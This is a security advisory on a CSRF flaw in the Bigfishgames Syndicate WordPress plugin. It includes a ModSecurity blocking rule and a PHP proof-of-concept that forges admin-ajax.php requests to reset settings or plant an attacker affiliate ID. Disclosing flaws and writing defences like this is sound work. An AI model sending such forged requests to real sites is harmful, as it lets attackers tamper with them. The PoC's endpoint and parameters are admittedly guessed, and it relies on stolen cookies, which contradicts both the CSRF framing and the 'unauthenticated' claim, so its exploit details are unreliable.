Atomic Edge analysis of CVE-2026-6452 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) found in the Bigfishgames Syndicate plugin for WordPress, affecting all versions up to and including 1.2. The plugin fails to implement proper nonce validation on the bigfishgames_syndicate_submenu() function, allowing an attacker to trick a site administrator into resetting or updating plugin settings without their knowledge or consent. The CVSS score is 4.3 (Medium), reflecting the need for user interaction and the limited impact on integrity.
Root Cause: The core issue is the absence of nonce validation on the administrative function bigfishgames_syndicate_submenu(). In WordPress admin pages, functions that handle form submissions or settings changes must verify a nonce (a unique, one-time token) to ensure the request originated from the legitimate admin interface. Atomic Edge analysis infers from the CWE-352 classification that the plugin’s settings page likely submits a POST request to an admin-ajax.php or options.php endpoint without checking the nonce field. No source code is available, so this conclusion is based solely on the CWE type and the function name mentioned in the description.
Exploitation: An attacker crafts a forged HTTP request targeting the vulnerable endpoint. The most likely attack vector is a cross-origin POST to /wp-admin/admin-ajax.php with the action parameter set to bigfishgames_syndicate_submenu (or a derived AJAX hook like bigfishgames_syndicate_save_settings). The request includes arbitrary plugin settings values intended to reset or replace the existing configuration. Since no nonce check occurs, the request succeeds if the administrator’s browser sends valid cookies. The attacker delivers the exploit via a malicious link, form auto-submission, or an image tag hosted on an external site. Example parameters could include reset=1 to reset all settings, or serialized option values to update specific options.
Remediation: The vendor must add a nonce verification step to the bigfishgames_syndicate_submenu() function. In WordPress, this involves checking the nonce value using wp_verify_nonce() against the nonce field submitted with the form (e.g., _wpnonce). Additionally, the function should verify that the current user has the necessary capabilities (e.g., manage_options) before processing the request. Since no patched version exists, site administrators should immediately disable and remove the plugin from all installations.
Impact: Successful exploitation allows an unauthenticated attacker to reset or modify all plugin settings. While this does not directly lead to data breach or privilege escalation, it can corrupt the plugin’s functionality, potentially introducing malicious settings that redirect affiliate links, disable protective features, or alter display behavior. The integrity impact is limited to the plugin’s options, but cascading effects may occur if the plugin integrates with external services or handles user data based on these settings.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6452 (metadata-based)
# Blocks CSRF attacks on Bigfishgames Syndicate settings via admin-ajax.php
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2026-6452 - Bigfishgames Syndicate CSRF Settings Reset/Update',severity:'CRITICAL',tag:'CVE-2026-6452'"
SecRule ARGS_POST:action "@streq bigfishgames_syndicate_submenu"
"chain,msg:'CVE-2026-6452 - CSRF to Bigfishgames Syndicate settings'"
SecRule ARGS_POST:reset "@rx ^1$"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6452 - Bigfishgames Syndicate <= 1.2 - Cross-Site Request Forgery to Settings Reset and Update
<?php
/**
* Proof of Concept: CSRF to Reset or Update Bigfishgames Syndicate Plugin Settings
*
* This script forges a request to reset all plugin settings or update them to attacker-controlled values.
* It assumes the vulnerable endpoint is admin-ajax.php with the action 'bigfishgames_syndicate_submenu'.
* The exact parameter names for settings are unknown; this PoC uses 'reset=1' to reset and 'option_name=value' for updates.
*/
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to target WordPress site
// Reset all plugin settings
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'bigfishgames_syndicate_submenu',
'reset' => 1 // Trigger settings reset
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in=attacker_steals_cookies; wordpress_sec=...'); // Attacker uses stolen/valid admin cookies
$response = curl_exec($ch);
curl_close($ch);
echo "Reset request sent. Response: " . $response;
// Update settings (example: change affiliate link)
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'bigfishgames_syndicate_submenu',
'affiliate_id' => 'malicious_affiliate_id', // Example setting
'enable_tracking' => '0' // Disable legitimate tracking
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in=...');
$response = curl_exec($ch);
curl_close($ch);
echo "Update request sent. Response: " . $response;
